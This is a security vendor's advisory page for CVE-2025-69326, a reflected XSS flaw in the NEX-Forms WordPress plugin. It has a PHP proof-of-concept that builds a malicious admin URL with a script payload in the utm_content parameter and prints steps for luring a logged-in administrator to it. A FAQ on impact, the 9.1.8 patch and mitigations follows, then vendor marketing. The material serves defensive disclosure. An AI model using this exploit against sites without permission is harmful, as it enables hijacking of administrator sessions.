// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-69326 - NEX-Forms <= 9.1.7 - Reflected Cross-Site Scripting

<?php
/**
 * Proof of Concept for CVE-2025-69326
 * Reflected XSS in NEX-Forms WordPress Plugin <= 9.1.7
 * 
 * This script demonstrates the reflected XSS vulnerability by generating
 * a malicious URL that triggers JavaScript execution when visited by
 * an authenticated administrator.
 */

// Configuration
$target_url = 'http://target-site.com/wp-admin/admin.php?page=nex-forms'; // Change to target site

// XSS payload - basic alert to demonstrate vulnerability
$payload = '<script>alert("Atomic Edge Research - CVE-2025-69326");</script>';

// Encode payload for URL
$encoded_payload = urlencode($payload);

// Construct malicious URL with XSS payload
// The vulnerability exists in the handling of marketing parameters
$malicious_url = $target_url . '&utm_content=' . $encoded_payload . '&utm_source=wordpress_envato';

// Display the exploit URL
echo "Atomic Edge CVE-2025-69326 Proof of Conceptn";
echo "============================================nn";
echo "Target URL: $target_urln";
echo "XSS Payload: $payloadn";
echo "nMalicious URL for testing:n";
echo "$malicious_urlnn";

echo "Instructions:n";
echo "1. Ensure the target site runs NEX-Forms <= 9.1.7n";
echo "2. An administrator must be logged into WordPressn";
echo "3. Administrator visits the malicious URL aboven";
echo "4. JavaScript alert will execute in admin contextn";

// Optional: Test with cURL (uncomment to test)
/*
echo "nTesting with cURL...n";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 Atomic Edge Research');
$response = curl_exec($ch);
curl_close($ch);

if (strpos($response, $payload) !== false) {
    echo "VULNERABLE: Payload found in responsen";
} else {
    echo "NOT VULNERABLE or requires authenticationn";
}
*/

?>

Frequently Asked Questions

What is CVE-2025-69326?
Understanding the vulnerability
CVE-2025-69326 is a reflected Cross-Site Scripting (XSS) vulnerability in the NEX-Forms plugin for WordPress, affecting versions up to and including 9.1.7. It allows unauthenticated attackers to inject arbitrary JavaScript into web pages viewed by authenticated administrators.
How does the vulnerability work?
Mechanism of exploitation
The vulnerability arises from insufficient input sanitization and output escaping in the plugin’s form builder interface. Attackers can craft malicious URLs containing JavaScript payloads that execute when an authenticated administrator visits the link.
Who is affected by this vulnerability?
Identifying vulnerable installations
Any WordPress site using the NEX-Forms plugin version 9.1.7 or earlier is at risk. Administrators should check their installed version of the plugin to determine if they are affected.
How can I check if my site is vulnerable?
Verifying plugin version
To check if your site is vulnerable, navigate to the plugins section in your WordPress admin dashboard and look for the NEX-Forms plugin. If the version is 9.1.7 or earlier, your site is at risk.
How can I fix this vulnerability?
Updating the plugin
The vulnerability is patched in version 9.1.8 of the NEX-Forms plugin. Administrators should update their plugin to this version or later to mitigate the risk.
What does the CVSS score of 6.1 mean?
Understanding severity ratings
A CVSS score of 6.1 indicates a medium severity vulnerability. This means that while the risk is significant, it may not be as critical as high-severity vulnerabilities, but it still requires prompt attention.
What are the practical risks of this vulnerability?
Potential impact of exploitation
If exploited, this vulnerability could allow attackers to execute arbitrary JavaScript in the context of an authenticated administrator’s session. This could lead to actions such as creating new admin accounts, modifying settings, and injecting malicious code.
What is a proof of concept (PoC)?
Demonstrating the vulnerability
A proof of concept is a demonstration of how a vulnerability can be exploited. In this case, the PoC shows how an attacker can craft a malicious URL that triggers the XSS vulnerability when visited by an administrator.
How does the proof of concept work?
Technical details of the PoC
The PoC generates a malicious URL that includes a JavaScript payload in the `utm_content` parameter. When an authenticated administrator clicks the link, the payload executes, demonstrating the reflected XSS vulnerability.
Are there any additional mitigation strategies?
Beyond updating the plugin
In addition to updating the plugin, administrators should review their site’s security practices, such as implementing Content Security Policy (CSP) headers and ensuring that users do not click on untrusted links.
What should I do if I cannot update the plugin immediately?
Interim measures
If an immediate update is not possible, consider disabling the NEX-Forms plugin until it can be updated. Additionally, monitor user access and educate administrators about the risks of clicking unknown links.
Where can I find more information about this vulnerability?
Resources for further reading
Further information can be found in the CVE database and security advisories from security research organizations. Keeping abreast of security updates from plugin developers is also crucial.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations